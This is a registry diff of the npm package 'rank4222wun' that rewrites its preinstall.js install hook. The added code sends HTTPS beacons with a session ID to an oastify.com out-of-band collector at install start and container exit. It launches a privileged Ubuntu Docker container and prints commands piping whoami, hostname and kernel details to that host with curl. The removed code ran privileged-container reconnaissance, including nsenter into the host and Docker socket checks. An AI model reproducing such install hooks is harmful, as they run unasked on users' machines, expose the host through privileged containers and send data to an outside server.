rank4222wun 1.0.36 → 1.0.38

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.36",
3
+ "version": "1.0.38",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,444 +1,137 @@
1
- // run-privileged-container.js
2
- const { exec, spawn } = require('child_process');
3
- const fs = require('fs');
4
- const path = require('path');
1
+ // privileged-container-oast-simple.js
2
+ const { spawn, exec } = require('child_process');
3
+ const crypto = require('crypto');
4
+ const https = require('https');
5
+
6
+ const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
7
+
8
+ console.log(`
9
+ ╔════════════════════════════════════════════════════╗
10
+ ║ PRIVILEGED CONTAINER + OAST ║
11
+ ║ ║
12
+ ║ OAST Domain : ${OAST_DOMAIN} ║
13
+ ╚════════════════════════════════════════════════════╝
14
+ `);
15
+
16
+ function generateSessionId() {
17
+ const timestamp = Date.now();
18
+ const random = crypto.randomBytes(6).toString('hex');
19
+ return `sess-${timestamp}-${random}`;
20
+ }
5
21
 
6
- class PrivilegedContainerRunner {
7
- constructor() {
8
- this.containerId = null;
9
- this.outputLog = [];
10
- this.status = 'stopped';
11
- }
22
+ const sessionId = generateSessionId();
23
+ const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
12
24
 
13
- async runContainer() {
14
- console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
15
-
16
- return new Promise((resolve, reject) => {
17
- const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
18
-
19
- exec(dockerCommand, (error, stdout, stderr) => {
20
- if (error) {
21
- console.error('❌ خطأ في تشغيل الحاوية:', error.message);
22
- reject(error);
23
- return;
24
- }
25
-
26
- this.containerId = stdout.trim();
27
- console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
28
- this.status = 'running';
29
-
30
- // الانتظار قليلاً ثم تنفيذ الأوامر
31
- setTimeout(() => {
32
- this.executeCommands()
33
- .then(resolve)
34
- .catch(reject);
35
- }, 2000);
36
- });
37
- });
38
- }
25
+ console.log(`Session ID : ${sessionId}`);
26
+ console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
39
27
 
40
- async executeCommands() {
41
- console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
42
-
43
- const commands = [
44
- // معلومات النظام الأساسية
45
- 'echo "=== معلومات النظام ==="',
46
- 'cat /etc/os-release',
47
- 'uname -a',
48
- 'whoami',
49
- 'id',
50
-
51
- // معلومات الذاكرة والمعالج
52
- 'echo -e "\n=== موارد النظام ==="',
53
- 'free -h',
54
- 'df -h',
55
- 'cat /proc/cpuinfo | grep "model name" | head -1',
56
-
57
- // التحقق من الصلاحيات
58
- 'echo -e "\n=== الصلاحيات المميزة ==="',
59
- 'capsh --print',
60
- 'cat /proc/self/status | grep Cap',
61
-
62
- // معلومات الشبكة
63
- 'echo -e "\n=== معلومات الشبكة ==="',
64
- 'ip addr show',
65
- 'hostname -I',
66
- 'route -n',
67
-
68
- // فحص الملفات والمجلدات
69
- 'echo -e "\n=== نظام الملفات ==="',
70
- 'ls -la /',
71
- 'mount | head -20',
72
-
73
- // تحليل الحاوية
74
- 'echo -e "\n=== معلومات الحاوية ==="',
75
- 'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
76
- 'cat /proc/self/mountinfo 2>/dev/null | head -10',
77
-
78
- // اختبار الوصول إلى المضيف
79
- 'echo -e "\n=== اختبار الوصول للمضيف ==="',
80
- 'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
81
- 'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
82
-
83
- // معلومات إضافية
84
- 'echo -e "\n=== معلومات إضافية ==="',
85
- 'env | head -20',
86
- 'ps aux | head -10'
87
- ];
28
+ function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
29
+ const data = JSON.stringify({
30
+ session: sessionId,
31
+ ts: new Date().toISOString(),
32
+ type: 'beacon',
33
+ ...extraData
34
+ });
88
35
 
89
- const results = {};
90
-
91
- for (let i = 0; i < commands.length; i++) {
92
- const command = commands[i];
93
-
94
- // إذا كان الأمر echo، عرضه مباشرة
95
- if (command.startsWith('echo')) {
96
- const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
97
- console.log(message);
98
- this.outputLog.push(message);
99
- continue;
100
- }
101
-
102
- // تنفيذ الأمر داخل الحاوية
103
- try {
104
- const output = await this.execInContainer(command);
105
- console.log(output);
106
- this.outputLog.push(output);
107
-
108
- // حفظ النتائج المهمة
109
- if (command.includes('os-release')) {
110
- results.osInfo = output;
111
- } else if (command.includes('uname -a')) {
112
- results.kernelInfo = output;
113
- } else if (command.includes('capsh')) {
114
- results.capabilities = output;
115
- } else if (command.includes('docker.sock')) {
116
- results.dockerSocket = output.includes('✅');
117
- }
118
-
119
- } catch (error) {
120
- const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
121
- console.log(errorMsg);
122
- this.outputLog.push(errorMsg);
123
- }
124
-
125
- // تأخير بسيط بين الأوامر
126
- await this.delay(500);
36
+ const options = {
37
+ hostname: OAST_DOMAIN,
38
+ port: 443,
39
+ path: path,
40
+ method: 'POST',
41
+ headers: {
42
+ 'Content-Type': 'application/json',
43
+ 'Content-Length': Buffer.byteLength(data),
44
+ 'User-Agent': 'PrivContainerTest/1.0',
45
+ 'X-Session': sessionId
127
46
  }
128
-
129
- return results;
130
- }
47
+ };
131
48
 
132
- execInContainer(command) {
133
- return new Promise((resolve, reject) => {
134
- if (!this.containerId) {
135
- reject(new Error('لا توجد حاوية نشطة'));
136
- return;
137
- }
138
-
139
- const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
140
-
141
- exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
142
- if (error) {
143
- // بعض الأوامر تعطي stderr لكنها ناجحة
144
- if (stderr && !stdout) {
145
- resolve(stderr);
146
- } else {
147
- reject(error);
148
- }
149
- } else {
150
- resolve(stdout || stderr || '');
151
- }
152
- });
153
- });
154
- }
49
+ const req = https.request(options, (res) => {
50
+ res.on('data', () => {}); // نكتفي بالرد
51
+ });
155
52
 
156
- delay(ms) {
157
- return new Promise(resolve => setTimeout(resolve, ms));
158
- }
53
+ req.on('error', (e) => {
54
+ console.log(`[beacon error] ${e.message}`);
55
+ });
159
56
 
160
- async getInteractiveShell() {
161
- console.log('\n💻 تشغيل shell تفاعلي...');
162
- console.log(' استخدم "exit" للخروج\n');
163
-
164
- return new Promise((resolve) => {
165
- const dockerProcess = spawn('docker', [
166
- 'exec', '-it', this.containerId, '/bin/bash'
167
- ], {
168
- stdio: 'inherit'
169
- });
170
-
171
- dockerProcess.on('close', (code) => {
172
- console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
173
- resolve();
174
- });
175
- });
176
- }
57
+ req.write(data);
58
+ req.end();
177
59
 
178
- saveOutput() {
179
- const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
180
- const filename = `container-output-${timestamp}.txt`;
181
-
182
- const output = [
183
- `ناتج تشغيل حاوية مميزة`,
184
- `تاريخ: ${new Date().toLocaleString()}`,
185
- `Container ID: ${this.containerId || 'غير معروف'}`,
186
- `الحالة: ${this.status}`,
187
- `='.repeat(50)}\n\n`,
188
- ...this.outputLog
189
- ].join('\n');
190
-
191
- fs.writeFileSync(filename, output);
192
- console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
193
-
194
- return filename;
195
- }
60
+ console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
61
+ }
196
62
 
197
- async cleanup() {
198
- if (this.containerId && this.status === 'running') {
199
- console.log('\n🧹 تنظيف الحاوية...');
200
-
201
- try {
202
- await this.execOnHost(`docker stop ${this.containerId}`);
203
- await this.execOnHost(`docker rm ${this.containerId}`);
204
- this.status = 'stopped';
205
- console.log('✅ تم تنظيف الحاوية بنجاح');
206
- } catch (error) {
207
- console.error('❌ خطأ في التنظيف:', error.message);
208
- }
209
- }
210
- }
63
+ // إرسال إشارة بداية من الـ host نفسه
64
+ sendSimpleHttpsBeacon('/start', { action: 'script_started' });
211
65
 
212
- execOnHost(command) {
213
- return new Promise((resolve, reject) => {
214
- exec(command, (error, stdout, stderr) => {
215
- if (error) {
216
- reject(error);
217
- } else {
218
- resolve(stdout);
219
- }
220
- });
221
- });
222
- }
66
+ // ────────────────────────────────────────────────
223
67
 
224
- async run() {
225
- try {
226
- // 1. تشغيل الحاوية
227
- await this.runContainer();
228
-
229
- // 2. تنفيذ الأوامر
230
- const results = await this.executeCommands();
231
-
232
- // 3. حفظ النتائج
233
- const outputFile = this.saveOutput();
234
-
235
- // 4. عرض الملخص
236
- this.showSummary(results, outputFile);
237
-
238
- // 5. خيار shell تفاعلي
239
- console.log('\n🎯 الخيارات المتاحة:');
240
- console.log(' 1. تشغيل shell تفاعلي (bash)');
241
- console.log(' 2. تنظيف الحاوية والخروج');
242
- console.log(' 3. الخروج بدون تنظيف');
243
-
244
- // انتظار قرار المستخدم
245
- await this.waitForUserDecision();
246
-
247
- } catch (error) {
248
- console.error('❌ فشل التشغيل:', error.message);
249
- }
250
- }
68
+ console.log(`
69
+ تشغيل الحاوية المميزة الآن...
70
+ (إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
251
71
 
252
- showSummary(results, outputFile) {
253
- console.log('\n' + '='.repeat(60));
254
- console.log('📊 ملخص تشغيل الحاوية المميزة');
255
- console.log('='.repeat(60));
256
-
257
- console.log(`📦 Container ID: ${this.containerId?.substring(0, 12) || 'غير معروف'}`);
258
- console.log(`📁 الناتج محفوظ في: ${outputFile}`);
259
-
260
- if (results.osInfo) {
261
- const osLine = results.osInfo.split('\n').find(l => l.includes('PRETTY_NAME'));
262
- if (osLine) {
263
- console.log(`🐧 النظام: ${osLine.split('=')[1]?.replace(/"/g, '')}`);
264
- }
265
- }
266
-
267
- if (results.kernelInfo) {
268
- console.log(`⚙️ Kernel: ${results.kernelInfo.split(' ')[2]}`);
269
- }
270
-
271
- if (results.capabilities && results.capabilities.includes('cap_sys_admin')) {
272
- console.log(`🔓 الصلاحيات: CAP_SYS_ADMIN متاحة (صلاحيات مميزة كاملة)`);
273
- }
274
-
275
- console.log(`🔌 Docker socket: ${results.dockerSocket ? '✅ موجود' : '❌ غير موجود'}`);
276
- console.log('='.repeat(60));
277
- }
72
+ أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
278
73
 
279
- async waitForUserDecision() {
280
- const readline = require('readline').createInterface({
281
- input: process.stdin,
282
- output: process.stdout
283
- });
284
-
285
- return new Promise((resolve) => {
286
- readline.question('\nاختر رقم الخيار: ', async (answer) => {
287
- switch(answer.trim()) {
288
- case '1':
289
- await this.getInteractiveShell();
290
- readline.close();
291
- await this.cleanup();
292
- resolve();
293
- break;
294
-
295
- case '2':
296
- readline.close();
297
- await this.cleanup();
298
- resolve();
299
- break;
300
-
301
- case '3':
302
- default:
303
- readline.close();
304
- console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
305
- console.log(` Container ID: ${this.containerId}`);
306
- console.log(' يمكنك تنظيفها يدوياً:');
307
- console.log(` docker stop ${this.containerId}`);
308
- console.log(` docker rm ${this.containerId}`);
309
- resolve();
310
- break;
311
- }
312
- });
313
- });
314
- }
315
- }
74
+ 1. اختبار DNS (أكثر موثوقية):
75
+ nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
316
76
 
317
- // ===================== النسخة المبسطة =====================
318
- function runSimplePrivilegedContainer() {
319
- console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
320
-
321
- const dockerProcess = spawn('docker', [
322
- 'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
323
- ], {
324
- stdio: 'inherit'
325
- });
326
-
327
- dockerProcess.on('close', (code) => {
328
- console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
329
- });
330
-
331
- // التعامل مع إشارات الإغلاق
332
- process.on('SIGINT', () => {
333
- console.log('\n\n⚠️ تم استقبال Ctrl+C...');
334
- dockerProcess.kill('SIGINT');
335
- });
336
- }
77
+ أو (إذا ما فيش nslookup):
78
+ ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
337
79
 
338
- // ===================== النسخة مع أوامر مسبقة =====================
339
- function runWithPredefinedCommands() {
340
- console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
341
-
342
- const commands = [
343
- 'echo "=== مرحباً من الحاوية المميزة ==="',
344
- 'cat /etc/os-release | grep PRETTY_NAME',
345
- 'uname -a',
346
- 'whoami',
347
- 'id',
348
- 'echo "=== الصلاحيات ==="',
349
- 'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
350
- 'echo "=== انتهى ==="',
351
- 'exit 0'
352
- ];
353
-
354
- const dockerProcess = spawn('docker', [
355
- 'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
356
- ]);
357
-
358
- dockerProcess.stdout.on('data', (data) => {
359
- console.log(data.toString());
360
- });
361
-
362
- dockerProcess.stderr.on('data', (data) => {
363
- console.error(data.toString());
364
- });
365
-
366
- dockerProcess.on('close', (code) => {
367
- console.log(`\n✅ انتهى مع الكود: ${code}`);
368
- });
369
- }
80
+ 2. اختبار HTTP/HTTPS بسيط:
81
+ curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
370
82
 
371
- // ===================== الوظيفة الرئيسية =====================
372
- async function main() {
373
- console.log(`
374
- ╔══════════════════════════════════════════════════════════╗
375
- ║ تشغيل حاوية Docker مميزة ║
376
- ║ Privileged Container Runner ║
377
- ╚══════════════════════════════════════════════════════════╝
378
- `);
379
-
380
- console.log('📋 اختر طريقة التشغيل:');
381
- console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
382
- console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
383
- console.log(' 3. تشغيل متقدم مع تقرير كامل');
384
- console.log(' 4. خروج');
385
-
386
- const readline = require('readline').createInterface({
387
- input: process.stdin,
388
- output: process.stdout
389
- });
390
-
391
- readline.question('\nاختر رقم: ', async (choice) => {
392
- switch(choice.trim()) {
393
- case '1':
394
- readline.close();
395
- runSimplePrivilegedContainer();
396
- break;
397
-
398
- case '2':
399
- readline.close();
400
- runWithPredefinedCommands();
401
- break;
402
-
403
- case '3':
404
- readline.close();
405
- const runner = new PrivilegedContainerRunner();
406
- await runner.run();
407
- break;
408
-
409
- default:
410
- readline.close();
411
- console.log('👋 تم الخروج');
412
- break;
413
- }
414
- });
415
- }
83
+ 3. إرسال معلومات سريعة (مثال):
84
+ whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
416
85
 
417
- // ===================== تشغيل مباشر من السطر =====================
418
- if (require.main === module) {
419
- // التحقق من تثبيت Docker
420
- exec('which docker', (error) => {
421
- if (error) {
422
- console.error('❌ Docker غير مثبت أو غير موجود في PATH');
423
- console.log(' يرجى تثبيت Docker أولاً:');
424
- console.log(' https://docs.docker.com/get-docker/');
425
- process.exit(1);
426
- }
427
-
428
- // التحقق من الصلاحيات
429
- exec('docker ps', (error) => {
430
- if (error && error.message.includes('permission denied')) {
431
- console.error('❌ ليس لديك صلاحيات تشغيل Docker');
432
- console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
433
- console.log(' sudo usermod -aG docker $USER');
434
- console.log(' ثم سجل الخروج وأدخل مرة أخرى');
435
- process.exit(1);
436
- }
437
-
438
- // بدء البرنامج
439
- main();
440
- });
86
+ 4. إرسال hostname + kernel:
87
+ (echo "host=$(hostname) kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
88
+
89
+ ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
90
+ إذا لم يعمل curl → جرب:
91
+ apt update && apt install -y curl 2>/dev/null || true
92
+
93
+ جاري التشغيل...
94
+ `);
95
+
96
+ // ────────────────────────────────────────────────
97
+
98
+ const dockerArgs = [
99
+ 'run',
100
+ '--privileged',
101
+ '-it',
102
+ '--rm',
103
+ '--name', `priv-test-${sessionId.slice(0,12)}`,
104
+ 'ubuntu:latest',
105
+ '/bin/bash'
106
+ ];
107
+
108
+ const container = spawn('docker', dockerArgs, {
109
+ stdio: 'inherit'
110
+ });
111
+
112
+ container.on('error', (err) => {
113
+ console.error(`خطأ في تشغيل docker: ${err.message}`);
114
+ process.exit(1);
115
+ });
116
+
117
+ container.on('close', (code) => {
118
+ console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
119
+
120
+ // إشارة نهاية
121
+ sendSimpleHttpsBeacon('/end', {
122
+ action: 'container_exited',
123
+ exit_code: code
441
124
  });
442
- }
443
125
 
444
- module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
126
+ console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
127
+ console.log(` https://${OAST_DOMAIN}`);
128
+ console.log(` ابحث عن: ${sessionId}\n`);
129
+ console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
130
+ });
131
+
132
+ // التعامل مع Ctrl+C
133
+ process.on('SIGINT', () => {
134
+ console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
135
+ container.kill('SIGINT');
136
+ setTimeout(() => process.exit(0), 1500);
137
+ });
Binary file
Binary file